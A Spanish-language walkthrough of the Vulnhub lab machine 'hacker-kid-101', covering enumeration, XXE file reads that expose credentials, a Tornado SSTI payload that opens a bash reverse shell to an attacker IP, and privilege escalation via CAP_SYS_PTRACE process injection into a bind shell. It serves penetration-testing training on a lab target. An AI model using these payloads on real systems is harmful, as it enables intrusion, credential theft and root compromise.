Preparación del laboratorio
La máquina del laboratorio está disponible en: Vulnhub hacker-kid-101
- Se ha importado la imagen OVA descargada desde el enlace proporcionado.
- En los ajustes de red, la máquina se ha configurado en una red NAT con el rango 10.0.2.0/24.
Identificación
El primer paso cuando trabajamos con un Vulnhub es identificar la dirección IP de la máquina virtual. Para ello, se ha utilizado la herramienta arp-scan.

En este caso, la dirección IP asignada a la máquina es 10.0.2.25.
Enumeración
Para obtener información detallada sobre los puertos abiertos y servicios en funcionamiento en esta máquina, utilizamos la herramienta nmap.
sudo nmap -p- -sV -T5 -min-rate 5000 -n -Pn 10.0.2.25
Explicación de las opciones:
- -p-: Escanea todos los puertos.
- -sV: Detecta las versiones de los servicios.
- -T5: Establece la máxima velocidad en el tiempo de espera.
- -min-rate 5000: Establece la tasa mínima de 5000 paquetes por segundo.
- -n: Omite la resolución de nombres de host.
- -Pn: Omite los escaneos de ping, asumiendo que los hosts están activos.

Interpretemos la información proporcionada por nmap:
El puerto 53 ejecuta un servicio DNS con ISC BIND. Este servicio es el encargado de la traducción de nombres de dominio a direcciones IP.
El puerto 80 contiene un servidor web Apache:

El puerto 9999 contiene un servicio http llamado Tornado, es un servidor web basado en Python para crear aplicaciones en tiempo real.

Exploración del servidor web (puerto 80)
Procedemos a inspeccionar la web que se encuentra en el puerto 80, podemos observar que es posible navegar entre diferentes páginas utilizando el parámetro “page_no” en las peticiones GET.

Con la herramienta Burp Suite podemos capturar una petición y ver los resultados de los diferentes números de página.
Una vez capturada la petición http://10.0.2.25/?page_no=1. La enviamos a la herramienta Intruder para probar varias numeraciones.
Puedes usar el atajo
Ctrl+ipara enviar la petición a la herramienta Intruder.

Configuramos el payload para que se usen los números del 1 al 30 como valor del parámetro page_no.

A continuación, iniciamos el ataque y cuando termine, podremos ver que una de las peticiones responde con un tamaño muy diferente al resto.

Al acceder a la dirección URL http://10.0.2.25/?page_no=21, se observa al final de la página el siguiente mensaje:

La pista sugiere la necesidad de enumerar subdominios asociados a hackers.blackhat.local.
Resolución de DNS y descubrimiento de subdominios
Continuamos añadiendo una entrada al archivo /etc/hosts para asociar la IP con el dominio “hackers.blackhat.local” y “blackhat.local”.
Esto es útil para resolver nombres de dominio cuando no disponemos de servidores DNS externos a los que consultar.
10.0.2.25 hackers.blackhat.local blackhat.local
Puedes usar el comando
sudo nano /etc/hostspara editar el contenido del archivo/etc/hosts.
El análisis posterior del servicio DNS alojado en el puerto 53, puede contener información del dominio y sus subdominios.
Utilizamos la herramienta dig (Domain Information Groper) para consultar el servidor DNS y obtener información sobre posibles subdominios. Aunque no está diseñada específicamente para este proposito.

El servidor de nombres autorizado es blackhat.local. hackerkid.blackhat.local.
Debemos añadir el subdominio “hackerkid.blackhat.local” a la configuración del hosts como hicimos antes.

Al acceder al subdominio podremos ver el siguiente formulario:

Análisis de vulnerabilidades
Con Burp Suite nuevamente se interceptamos la petición POST del formulario para ver cómo se construye el cuerpo del mensaje.

Procedemos a envíar el formulario con datos:

En la imagen anterior podemos observar que el correo electrónico se refleja indicando no ser válido. Lo que da una idea de que podría ser vulnerable a inyecciones XXE.
Explotación de la vulnerabilidad XXE
La vulnerabilidad XXE permite la inclusión de entidades externas dentro de los documentos XML. Modificando la solicitud interceptada.
Ahora modificaremos el cuerpo del mensaje de la solicitud para realizar una inyección XXE con la que leer el archivo /etc/passwd.
A continuación, se muestra el payload utilizado:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>
<name></name>
<tel></tel>
<email>&xxe;</email>
<password></password>
</root>
Lo importante es <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]> aquí se define una entidad llamada xxe. Esta entidad hace referencia a un recurso externo, el archivo del sistema /etc/passwd. Esto significa que cuando se use &xxe; en el XML, el contenido de dicho archivo será insertado en su lugar.

A contiuación, guardamos la información de las cuentas de usuario obtenidas en un archivo passwd.txt para filtrar por las que tienen login.
grep -v nologin passwd.txt
- La opción -v muestra todas las líneas que no contienen el patrón especificado.
Listado de los usuario que tienen login:

Se viene idea feliz 😆
En las pistas que da la página nº 21, decía “Out of my many homes…one such home..one such home for me: hackers.blackhat.local”.
De la lista anterior, el único usuario con “home” y login es “saket”.
Al obtener el archivo /home/saket/.bashrc como hicimos con el archivo /etc/passwd no obtedremos ningún resultado. Sin embargo, al usar el contenedor PHP aplicando un filtro que convierte el contenido del archivo en base64.
Esto se hace principalmente para evitar problemas con caracteres especiales que podrían romper la estructura del XML o ser interpretados incorrectamente.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root>
<name></name>
<tel></tel>
<email>&xxe;</email>
<password></password>
</root>
Mandamos este payload con Burp Suite:

Usamos el conversor de base64 a texto que proporciona Burp Suite para ver el contenido del archivo y encontramos unas credenciales.
username="admin"
password="Saket!#$%@!!"
Accedemos al servicio web que encontramos en el puerto 9999. Al usar el nombre de usuario “admin” da error, pero podemos usar el usuario “saket” para entrar.

Análisis de vulnerabilidades de Tornado
Con una busqueda rápida en internet vemos que Tornado 6.1 es vulnerable a SSTI (Server Side Template Injectión).
Enlaces de interés:
En la captura anteior, vemos que la página solicita un nombre “Tell me your name buddy”, lo que se traduce como “Dime tu nombre amigo”.
Esto sugiere la existencia de un parámetro GET denominado “name”.

Parece que la funcionalidad de la aplicación es devolver el valor del parámetro name. Por lo tanto, podemos probar si es vulnerable a SSTI con un ejemplo simple.

¡Es vulnerbale! 😏
Esto significa que podemos inyectar una reverse shell.
Explotación vulnerabilidad SSTI de Tornado
En una terminal, iniciamos un servidor Netcat para escuchar conexiones entrantes en el puerto 4444.
nc -nlvp 4444
Este servidor esperará una conexión inversa desde la máquina objetivo.
Usamos el payload {% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/10.0.2.16/4444 0>&1"')}} para hacer la reverse shell.
-
{% import os %}: Importa el módulo os de Python, que permite interactuar con el sistema operativo. -
{{os.system(...)}}: Ejecuta el comando dentro de las comillas. -
bash -c "bash -i >& /dev/tcp/10.0.2.16/4444 0>&1": Inicia una shell interactiva y redirige su entrada y salida a nuestro servidor Netcat.
Antes de utilizar el payload, es necesario codificarlo con URL Encode:
10.0.2.25:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.16%2F4444%200%3E%261%22%27%29%7D%7D
Recibimos la conexión en la terminal:

¡Estamos dentro! 😈
Una vez que hemos obtenido acceso a la shell, podemos elevarla utilizando Python para mejorar la interfaz y facilitar su uso.
which python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
El comando
which python3se utiliza para determinar la ubicación del ejecutable de Python 3 en el sistema. Si lo encuetra, devuelve la ruta de Python.
Análisis de vulnerabilidades para escalar privilegios
Vamos a buscar todos los archivos binarios que tengan capacidades configuradas para el usuario.
Las capacidades de Linux permiten que los archivos binarios, ejecutados por usuarios no privilegiados, realicen operaciones que normalmente requieren permisos de root.
/sbin/getcap -r / 2>/dev/null

La capacidad CAP_SYS_PTRACE está presente en el conjunto de capacidades permitidas del binario /usr/bin/python2.7. Un proceso con CAP_SYS_PTRACE puede adjuntarse a cualquier otro proceso en el sistema, incluyendo aquellos con mayor nivel de privilegio.
Esto podría permitir ejecutar código arbitrario en el contexto de otro proceso, lo que potencialmente facilita la escalación de privilegios.
Procederemos a verificar los servicios que se están ejecutando en la máquina con privilegios de root.
ps -eaf | grep root

El servicio Apache2 se está ejecutando en la máquina con el PID 1361.
A continuación, necesitamos saber si la máquina ejecuta una versión de Linux de 32 bits o 64 bits.

La máquina está configurada con un Linux de 64 bits.
Escalada de privilegios
En hacktricks podemos encontrar un artículo que explica la escalada de privilegios cuando tenemos la capacidad CAP_SYS_PTRACE.
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

Copiamos el exploit de ejemplo y lo guardamos como inject.py.
Este exploit crea un BIND TCP Shell en el puerto 5600 al que luego podremos conectarnos utilizando NetCat.
En la ubicación del archivo, iniciamos un servidor http python -m http.server, lo que nos permite descargar el archivo en la máquina objetivo con wget wget http://10.0.2.16:8000/inject.py.
Ejecución del exploit:
python2.7 inject.py 1361
El PID 1361 pertenece al servicio Apache2 que se está ejecutando en la máquina.

A continuación, comprobamos con netstat si se ha establecido la conexión al puerto 5600.
netstat -ntlp

Para finalizar, utilizamos Netcat para establecer una conexión con el puerto 5600 de la máquina objetivo.
nc 10.0.2.25 5600

¡pwn3d! 🏴☠️